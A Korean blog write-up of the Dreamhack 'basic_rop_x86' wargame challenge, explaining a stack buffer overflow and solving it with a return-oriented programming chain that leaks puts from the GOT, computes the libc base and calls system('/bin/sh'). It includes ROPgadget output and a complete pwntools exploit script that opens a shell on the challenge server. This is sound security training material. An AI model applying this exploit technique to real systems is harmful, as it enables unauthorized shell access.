[Dreamhack] basic_rop_x86 - Write Up

2021. 7. 31. 21:39Wargame CTF/Dreamhack

 

 

문제.

 

 

IDA 디컴파일.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-44h]

  memset(&buf, 0, 0x40u);
  initialize(0, &buf);
  read(0, &buf, 0x400u);
  write(1, &buf, 0x40u);
  return 0;
}

 

buf는 0x44 만큼 할당되어 있지만, 입력은 0x400 만큼 받으므로, BOF가 발생합니다.

 

 

NX 보호기법이 걸려있으므로, 쉘코드로는 불가능합니다.

딱히 특별한 것은 없으므로, ROP를 이용하여 문제를 풀어나가겠습니다.

 

 

 

분석

 

1. BUF, SFP를 채워주고 ret주소를 puts@plt 인자값을 puts@got으로 puts의 주소를 leak한다

2. main으로 다시 돌아오고, libc_base를 구하고, system의 실제 주소를 얻는다.

3. read 함수를 이용해 bss영역에 /bin/sh 를 넣어준다.

4. system 호출, 인자 값 bss ( bss안에는 현재 /bin/sh 의 문자열이 들어있다) > system(/bin/sh)

5. 쉘획득

 

 

필요한 가젯.

 

pop ret;

 : puts의 인자 1개

 

pop pop pop ret;

 : read의 인자 3개

 

 

명령어 : ROPgadget --binary "파일이름" | grep "pop"

user@user-virtual-machine:~/Desktop/Layer7/dreakhack/basic_rop$ ROPgadget --binary basic_rop_x86 | grep "pop"
0x080483d4 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048685 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d6 : add esp, 8 ; pop ebx ; ret
0x0804869f : arpl word ptr [ecx], bx ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048684 : jecxz 0x8048609 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048683 : jne 0x8048668 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d2 : lcall 0x8c4:0x83000000 ; pop ebx ; ret
0x080483d7 : les ecx, ptr [eax] ; pop ebx ; ret
0x08048686 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048687 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x0804868b : pop ebp ; ret
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d9 : pop ebx ; ret
0x0804868a : pop edi ; pop ebp ; ret
0x08048689 : pop esi ; pop edi ; pop ebp ; ret


pppr = 0x08048689
pr = 0x0804868b

 

 

 

 

 

 

Exploit code

 

from pwn import*

context.log_level = 'debug'

p = remote('host1.dreamhack.games', 19575)
e = ELF('./basic_rop_x86')
#libc = e.libc
libc = ELF("./libc.so.6")


pppr = 0x08048689
pr = 0x0804868b

bss = e.bss() + 0x200
binsh = '/bin/sh\x00'

puts_plt= e.plt['puts']
puts_got= e.got['puts']

read_plt= e.plt['read']
read_got= e.got['read']

main = e.symbols['main']


payload = ''
payload += 'A'*(0x44+0x4)
payload += p32(puts_plt)
payload += p32(pr) 
payload += p32(puts_got)
payload += p32(main)

p.send(payload)


leak = u32(p.recvuntil('\xf7')[-4:])
log.info('libc  = ' +hex(leak))

libc_base = leak - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

system = libc_base + libc.symbols['system']
log.info('system : ' + hex(system))



payload2 = ''
payload2 += 'A'*(0x44+0x4)
payload2 += p32(read_plt) 
payload2 += p32(pppr)
payload2 += p32(0) 
payload2 += p32(e.bss()+ 0x200)
payload2 += p32(8) 

payload2 += p32(system)
payload2 += p32(0)
payload2 += p32(e.bss()+0x200)

p.send(payload2)
p.send(binsh)

p.interactive()

 

 

Flag

 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Wargame CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] simple_sqli - Write up  (0) 2021.08.17
[Dreamhack] proxy-1  (0) 2021.08.11
[Dreamhack] cookie  (0) 2021.08.11
[Dreamhack] basic_rop_x64 - Write Up  (0) 2021.08.01